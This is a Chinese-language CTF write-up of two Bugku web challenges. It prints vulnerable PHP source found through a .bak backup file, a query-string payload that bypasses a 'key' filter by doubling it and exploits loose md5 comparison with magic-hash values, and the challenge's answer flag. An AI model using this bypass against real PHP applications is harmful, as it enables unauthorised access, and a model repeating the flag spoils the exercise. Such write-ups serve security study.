CTF-代码审计(2)

 

 

 

 

1.bugku 备份是个好习惯

网址:http://123.206.87.240:8002/web16/

 

进去什么都没有,题目说备份想到备份文件,所以直接再后面加个    .bakCTF-代码审计(2)_第1张图片

 

拿到源码:

/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');   //  strstr(str1,str2)  字符串str1中搜索str2,如果存在则返回str2及str2以后得剩余部分;

$str = substr($str,1);      //  php 得substr() 这里省略了第三个参数 长度,所以从第一个开始截取到最后;
$str = str_replace('key','',$str);  //   str_replace("world","Shanghai","Hello world!")  把hello world里面得world换成shanghai

// 这里把输入得参数用空字符串去代替了key,所以需要双写key绕过

parse_str($str);  
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

 

 

 构造payload:
?kkeyey1=240610708&kkeyey2=aabC9RqS
 
 
拿到flag   Bugku{OH_YOU_FIND_MY_MOMY}
 
 
 
2.bugku 本地包含  
 
 
网址: http://123.206.87.240:8003/
 
eval命令执行漏洞,构造payload得方法太多,推荐这个博客 :https://blog.csdn.net/xuchen16/article/details/82734758
 
CTF-代码审计(2)_第2张图片

 

 
 
 
    php知识:    strstr()  str_replace()  还有 $_REQUSTE() 可以得到 GET 和POST 两个得参数

 

你可能感兴趣的:(CTF-代码审计(2))